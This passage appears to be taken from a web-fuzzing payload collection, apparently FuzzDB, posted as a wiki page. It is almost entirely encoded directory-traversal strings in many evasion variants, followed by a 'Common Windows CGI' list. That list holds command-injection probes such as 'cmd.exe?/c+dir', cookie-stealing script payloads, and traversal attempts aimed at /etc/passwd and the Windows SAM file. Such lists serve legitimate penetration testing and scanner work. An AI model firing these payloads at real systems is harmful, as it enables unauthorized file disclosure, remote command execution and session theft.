%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File 